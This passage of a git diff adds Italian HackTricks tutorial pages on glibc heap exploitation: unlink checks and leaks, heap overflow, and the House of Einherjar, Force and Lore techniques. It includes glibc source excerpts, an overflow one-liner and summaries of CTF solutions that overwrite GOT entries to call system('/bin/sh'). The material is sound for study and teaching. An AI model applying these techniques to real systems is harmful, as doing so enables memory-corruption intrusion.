(&mp_.max_n_mmaps, new); + +unsigned long sum; +sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; +atomic_max (&mp_.max_mmapped_mem, sum); + +check_chunk (av, p); + +return chunk2mem (p); +} +``` +
+ +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
diff --git a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md new file mode 100644 index 000000000..da4406116 --- /dev/null +++ b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -0,0 +1,105 @@ +# unlink + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +### Codice +```c +// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c + +/* Take a chunk off a bin list. */ +static void +unlink_chunk (mstate av, mchunkptr p) +{ +if (chunksize (p) != prev_size (next_chunk (p))) +malloc_printerr ("corrupted size vs. prev_size"); + +mchunkptr fd = p->fd; +mchunkptr bk = p->bk; + +if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) +malloc_printerr ("corrupted double-linked list"); + +fd->bk = bk; +bk->fd = fd; +if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) +{ +if (p->fd_nextsize->bk_nextsize != p +|| p->bk_nextsize->fd_nextsize != p) +malloc_printerr ("corrupted double-linked list (not small)"); + +// Added: If the FD is not in the nextsize list +if (fd->fd_nextsize == NULL) +{ + +if (p->fd_nextsize == p) +fd->fd_nextsize = fd->bk_nextsize = fd; +else +// Link the nexsize list in when removing the new chunk +{ +fd->fd_nextsize = p->fd_nextsize; +fd->bk_nextsize = p->bk_nextsize; +p->fd_nextsize->bk_nextsize = fd; +p->bk_nextsize->fd_nextsize = fd; +} +} +else +{ +p->fd_nextsize->bk_nextsize = p->bk_nextsize; +p->bk_nextsize->fd_nextsize = p->fd_nextsize; +} +} +} +``` +### Spiegazione Grafica + +Controlla questa ottima spiegazione grafica del processo di unlink: + +

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

+ +### Controlli di Sicurezza + +* Controlla se la dimensione indicata del chunk è la stessa di `prev_size` indicata nel chunk successivo +* Controlla anche che `P->fd->bk == P` e `P->bk->fw == P` +* Se il chunk non è piccolo, controlla che `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P` + +### Leak + +Un chunk unlinkato non pulisce gli indirizzi allocati, quindi avendo accesso a leggerlo, è possibile fare leak di alcuni indirizzi interessanti: + +Leak di Libc: + +* Se P si trova all'inizio della lista doppiamente collegata, `bk` punterà a `malloc_state` in libc +* Se P si trova alla fine della lista doppiamente collegata, `fd` punterà a `malloc_state` in libc +* Quando la lista doppiamente collegata contiene solo un chunk libero, P è nella lista doppiamente collegata e sia `fd` che `bk` possono fare leak dell'indirizzo all'interno di `malloc_state`. + +Leak di Heap: + +* Se P si trova all'inizio della lista doppiamente collegata, `fd` punterà a un chunk disponibile nell'heap +* Se P si trova alla fine della lista doppiamente collegata, `bk` punterà a un chunk disponibile nell'heap +* Se P è nella lista doppiamente collegata, sia `fd` che `bk` punteranno a un chunk disponibile nell'heap + +
+ +Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
diff --git a/binary-exploitation/libc-heap/heap-overflow.md b/binary-exploitation/libc-heap/heap-overflow.md new file mode 100644 index 000000000..261b2e147 --- /dev/null +++ b/binary-exploitation/libc-heap/heap-overflow.md @@ -0,0 +1,67 @@ +# Heap Overflow + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di Base + +Un heap overflow è simile a un [**stack overflow**](../stack-overflow/) ma nell'heap. Fondamentalmente significa che è stato riservato dello spazio nell'heap per memorizzare alcuni dati e **i dati memorizzati erano più grandi dello spazio riservato**. + +Nei stack overflows sappiamo che alcuni registri come il puntatore di istruzione o il frame dello stack verranno ripristinati dallo stack e potrebbe essere possibile abusarne. Nel caso degli heap overflows, **non c'è alcuna informazione sensibile memorizzata per impostazione predefinita** nel chunk dell'heap che può essere sovraffollato. Tuttavia, potrebbero esserci informazioni sensibili o puntatori, quindi la **criticità** di questa vulnerabilità **dipende** da **quali dati potrebbero essere sovrascritti** e da come un attaccante potrebbe abusarne. + +{% hint style="success" %} +Per trovare gli offset di overflow puoi utilizzare gli stessi schemi dei [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). +{% endhint %} + +### Stack Overflows vs Heap Overflows + +Nei stack overflows l'organizzazione e i dati che saranno presenti nello stack nel momento in cui la vulnerabilità può essere attivata sono piuttosto affidabili. Questo perché lo stack è lineare, aumenta sempre in memoria in collisione, in **specifici punti dell'esecuzione del programma la memoria dello stack di solito memorizza tipi di dati simili** e ha una struttura specifica con alcuni puntatori alla fine della parte dello stack utilizzata da ciascuna funzione. + +Tuttavia, nel caso di un heap overflow, poiché la memoria utilizzata non è lineare ma **i chunk allocati sono di solito in posizioni separate della memoria** (non uno accanto all'altro) a causa di **bin e zone** che separano le allocazioni per dimensione e perché **la memoria precedentemente liberata viene utilizzata** prima di allocare nuovi chunk. È **complicato sapere quale oggetto andrà a collidere con quello vulnerabile** a un heap overflow. Quindi, quando viene trovato un heap overflow, è necessario trovare un **modo affidabile per far sì che l'oggetto desiderato sia il successivo in memoria** rispetto a quello che può essere sovraffollato. + +Una delle tecniche utilizzate per questo è il **Heap Grooming** che viene utilizzato ad esempio [**in questo post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Nel post viene spiegato come nel kernel iOS quando una zona esaurisce la memoria per memorizzare chunk di memoria, la espande di una pagina del kernel, e questa pagina viene divisa in chunk delle dimensioni previste che verranno utilizzati in ordine (fino alla versione iOS 9.2, poi questi chunk vengono utilizzati in modo randomizzato per rendere più difficile lo sfruttamento di questi attacchi). + +Pertanto, nel post precedente in cui si verifica un heap overflow, per forzare l'oggetto sovraccaricato a collidere con un ordine vittima, diversi **`kallocs` sono forzati da diversi thread per cercare di garantire che tutti i chunk liberi siano riempiti e che venga creata una nuova pagina**. + +Per forzare questo riempimento con oggetti di una dimensione specifica, l'**allocazione fuori linea associata a una porta mach iOS** è un candidato ideale. Creando la dimensione del messaggio, è possibile specificare esattamente la dimensione dell'allocazione `kalloc` e quando la porta mach corrispondente viene distrutta, l'allocazione corrispondente verrà immediatamente rilasciata a `kfree`. + +Quindi, alcuni di questi segnaposto possono essere **liberati**. La lista di liberazione **`kalloc.4096` rilascia gli elementi in ordine di ultimo entrato, primo uscito**, il che significa fondamentalmente che se alcuni segnaposto vengono liberati e l'exploit prova a allocare diversi oggetti vittima mentre cerca di allocare l'oggetto vulnerabile all'overflow, è probabile che questo oggetto sarà seguito da un oggetto vittima. + +### Esempio libc + +[**In questa pagina**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) è possibile trovare un'emulazione di base di Heap overflow che mostra come sovrascrivendo il bit prev in uso del chunk successivo e la posizione della dimensione prev sia possibile **consolidare un chunk utilizzato** (facendogli credere che non sia in uso) e **poi allocarlo nuovamente** potendo sovrascrivere dati che vengono utilizzati in un puntatore diverso. + +Un altro esempio da [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) mostra un esempio molto basilare di un CTF in cui un **heap overflow** può essere abusato per chiamare la funzione vincitrice per **ottenere la flag**. + +Nel [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) esempio è possibile vedere come abusando di un buffer overflow sia possibile **sovrascrivere in un chunk vicino un indirizzo** dove verrà scritto **un dato arbitrario dall'utente**. + +### Esempio ARM64 + +Nella pagina [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) è possibile trovare un esempio di heap overflow in cui un comando che verrà eseguito è memorizzato nel chunk successivo rispetto al chunk sovraccaricato. Quindi, è possibile modificare il comando eseguito sovrascribendolo con un exploit semplice come: +```bash +python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt +``` +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
diff --git a/binary-exploitation/libc-heap/house-of-einherjar.md b/binary-exploitation/libc-heap/house-of-einherjar.md new file mode 100644 index 000000000..2bbc39c62 --- /dev/null +++ b/binary-exploitation/libc-heap/house-of-einherjar.md @@ -0,0 +1,71 @@ +# Casa di Einherjar + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di Base + +### Codice + +* Controlla l'esempio da [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c) +* Oppure quello da [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (potresti dover riempire il tcache) + +### Obiettivo + +* L'obiettivo è allocare memoria in quasi ogni indirizzo specifico. + +### Requisiti + +* Creare un chunk falso quando vogliamo allocare un chunk: +* Impostare i puntatori per puntare a se stessi per aggirare i controlli di integrità +* Off by one da un chunk all'altro per modificare il prev in uso +* Indicare nel `prev_size` del chunk abusato off-by-one la differenza tra se stesso e il chunk falso +* Anche la dimensione del chunk falso deve essere impostata alla stessa dimensione per aggirare i controlli di integrità +* Per costruire questi chunk, avrai bisogno di una fuga di memoria dell'heap. + +### Attacco + +* Viene creato un chunk falso all'interno di un chunk controllato dall'attaccante puntando con `fd` e `bk` al chunk originale per aggirare le protezioni +* Vengono allocati altri 2 chunk (`B` e `C`) +* Sfruttando l'off by one nel chunk `B`, il bit `prev in use` viene pulito e i dati `prev_size` vengono sovrascritti con la differenza tra il luogo in cui è allocato il chunk `C` e il chunk falso `A` generato prima +* Questo `prev_size` e la dimensione nel chunk falso `A` devono essere uguali per aggirare i controlli. +* Poi, il tcache viene riempito +* Poi, `C` viene liberato in modo che si consolidi con il chunk falso `A` +* Poi, viene creato un nuovo chunk `D` che inizierà nel falso chunk `A` e coprirà il chunk `B` +* La casa di Einherjar finisce qui +* Questo può essere continuato con un attacco al fast bin: +* Liberare `B` per aggiungerlo al fast bin +* Il `fd` di `B` viene sovrascritto facendolo puntare all'indirizzo di destinazione sfruttando il chunk `D` (poiché contiene `B` all'interno) +* Poi, vengono fatti 2 malloc e il secondo sarà **allocare l'indirizzo di destinazione** + +## Riferimenti e altri esempi + +* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c) +* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad) +* Dopo aver liberato i puntatori, non vengono annullati, quindi è ancora possibile accedere ai loro dati. Pertanto, un chunk viene posizionato nel bin non ordinato e vengono rivelati i puntatori che contiene (fuga di libc) e quindi viene posizionato un nuovo heap nel bin non ordinato e viene rivelato un indirizzo di heap dal puntatore che ottiene. +* + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
diff --git a/binary-exploitation/libc-heap/house-of-force.md b/binary-exploitation/libc-heap/house-of-force.md new file mode 100644 index 000000000..f64481daf --- /dev/null +++ b/binary-exploitation/libc-heap/house-of-force.md @@ -0,0 +1,74 @@ +# Casa della Forza + + + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di Base + +### Codice + +* Questa tecnica è stata corretta ([**qui**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) e produce questo errore: `malloc(): corrupted top size` +* Puoi provare il [**codice da qui**](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html) per testarlo se vuoi. + +### Obiettivo + +* L'obiettivo di questo attacco è quello di poter allocare un chunk in un indirizzo specifico. + +### Requisiti + +* Un overflow che permette di sovrascrivere la dimensione dell'intestazione del top chunk (ad es. -1). +* Essere in grado di controllare la dimensione dell'allocazione dell'heap + +### Attacco + +Se un attaccante vuole allocare un chunk nell'indirizzo P per sovrascrivere un valore qui. Inizia sovrascrivendo la dimensione del top chunk con `-1` (forse con un overflow). Questo garantisce che malloc non utilizzerà mmap per nessuna allocazione poiché il Top chunk avrà sempre abbastanza spazio. + +Quindi, calcola la distanza tra l'indirizzo del top chunk e lo spazio target da allocare. Questo perché verrà eseguita un'allocazione malloc con quella dimensione per spostare il top chunk in quella posizione. Ecco come la differenza/dimensione può essere facilmente calcolata: +```c +// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 +/* +* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): +* new_top = old_top + nb +* nb = new_top - old_top +* req + 2sizeof(long) = new_top - old_top +* req = new_top - old_top - 2sizeof(long) +* req = target - 2sizeof(long) - old_top - 2sizeof(long) +* req = target - old_top - 4*sizeof(long) +*/ +``` +Pertanto, allocare una dimensione di `target - old_top - 4*sizeof(long)` (i 4 long sono a causa dei metadati del chunk superiore e del nuovo chunk quando allocato) sposterà il chunk superiore all'indirizzo che vogliamo sovrascrivere.\ +Successivamente, eseguire un'altra malloc per ottenere un chunk contenente l'inizio dei dati in modo da scrivere l'indirizzo target. + +### Riferimenti ed Altri Esempi + +* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file) +* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/) +* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force) +* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c) +* [https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html) +* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11) +* L'obiettivo di questo scenario è un ret2win dove è necessario modificare l'indirizzo di una funzione che verrà chiamata dall'indirizzo della funzione ret2win +* Il binario ha un overflow che può essere sfruttato per modificare la dimensione del top chunk, che viene modificata in -1 o p64(0xffffffffffffffff) +* Quindi, viene calcolato l'indirizzo del luogo in cui esiste il puntatore da sovrascrivere e la differenza dalla posizione attuale del top chunk a quel punto viene allocata con `malloc` +* Infine viene allocato un nuovo chunk che conterrà questo target desiderato all'interno del quale verrà sovrascritto dalla funzione ret2win +* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp) +* Nel `Input your name:` c'è una vulnerabilità iniziale che consente di ottenere un leak di un indirizzo dall'heap +* Poi, nelle funzionalità `Org:` e `Host:`, è possibile riempire i 64B del puntatore `s` quando viene richiesto il **nome dell'org**, che nello stack è seguito dall'indirizzo di v2, che è poi seguito dal **nome dell'host** indicato. Poiché poi, strcpy copierà i contenuti di s in un chunk di dimensione 64B, è possibile **sovrascrivere la dimensione del top chunk** con i dati inseriti nel **nome dell'host**. +* Ora che è possibile una scrittura arbitraria, il GOT di `atoi` è stato sovrascritto con l'indirizzo di printf. è possibile ottenere un leak dell'indirizzo di `IO_2_1_stderr` _con_ `%24$p`. E con questo leak di libc è stato possibile sovrascrivere di nuovo il GOT di `atoi` con l'indirizzo di `system` e chiamarlo passando come parametro `/bin/sh` +* Un metodo alternativo [proposto in questo altro writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud), è sovrascrivere `free` con `puts`, e quindi aggiungere l'indirizzo di `atoi@got`, nel puntatore che verrà successivamente liberato in modo che venga leakato e con questo leak sovrascrivere di nuovo `atoi@got` con `system` e chiamarlo con `/bin/sh`. +* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) +* C'è un UAF che consente di riutilizzare un chunk che è stato liberato senza cancellare il puntatore. Poiché ci sono alcuni metodi di lettura, è possibile ottenere un leak di un indirizzo libc scrivendo un puntatore alla funzione free nel GOT qui e quindi chiamando la funzione di lettura. +* Quindi, è stato utilizzato House of force (abusando dell'UAF) per sovrascrivere la dimensione dello spazio sinistro con un -1, allocare un chunk sufficientemente grande per arrivare al free hook, e quindi allocare un altro chunk che conterrà il free hook. Quindi, scrivere nel hook l'indirizzo di `system`, scrivere in un chunk `"/bin/sh"` e infine liberare il chunk con quel contenuto di stringa. diff --git a/binary-exploitation/libc-heap/house-of-lore.md b/binary-exploitation/libc-heap/house-of-lore.md new file mode 100644 index 000000000..2137cb94b --- /dev/null +++ b/binary-exploitation/libc-heap/house-of-lore.md @@ -0,0 +1,71 @@ +# House of Lore | Attacco Small bin + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## Informazioni di Base + +### Codice + +* Controlla quello da [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) +* Questo non funziona +* Oppure: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c) +* Questo non funziona anche se cerca di aggirare alcuni controlli ottenendo l'errore: `malloc(): unaligned tcache chunk detected` +* Questo esempio funziona ancora**:** [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) + +### Obiettivo + +* Inserire un **falso small chunk nel small bin in modo da poterlo allocare**.\ +Nota che il small chunk aggiunto è quello falso creato dall'attaccante e non uno falso in una posizione arbitraria. + +### Requisiti + +* Creare 2 chunk falsi e collegarli tra di loro e con il chunk legittimo nel small bin: +* `fake0.bk` -> `fake1` +* `fake1.fd` -> `fake0` +* `fake0.fd` -> `legit` (è necessario modificare un puntatore nel chunk del small bin liberato tramite qualche altra vulnerabilità) +* `legit.bk` -> `fake0` + +Allora sarai in grado di allocare `fake0`. + +### Attacco + +* Viene allocato un small chunk (`legit`), quindi un altro viene allocato per evitare la consolidazione con il top chunk. Poi, `legit` viene liberato (spostandolo nella lista non ordinata) e viene allocato un chunk più grande, **spostando `legit` nel small bin.** +* Un attaccante genera un paio di falsi small chunks e crea il collegamento necessario per aggirare i controlli di integrità: +* `fake0.bk` -> `fake1` +* `fake1.fd` -> `fake0` +* `fake0.fd` -> `legit` (è necessario modificare un puntatore nel chunk del small bin liberato tramite qualche altra vulnerabilità) +* `legit.bk` -> `fake0` +* Viene allocato un small chunk per ottenere `legit`, facendo diventare **`fake0`** il primo della lista dei piccoli bin +* Viene allocato un altro small chunk, ottenendo fake0 come chunk, consentendo potenzialmente di leggere/scrivere puntatori al suo interno. + +## Riferimenti + +* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) +* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore) +* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/binary-exploitation/libc-heap/house-of-orange.md b/binary-exploitation/libc-heap/house-of-orange.md new file mode 100644 index 000000000..a9575121a --- /dev/null +++ b/binary-exploitation/libc-heap/house-of-orange.md @@ -0,0 +1,98 @@ +# Casa di Orange + +
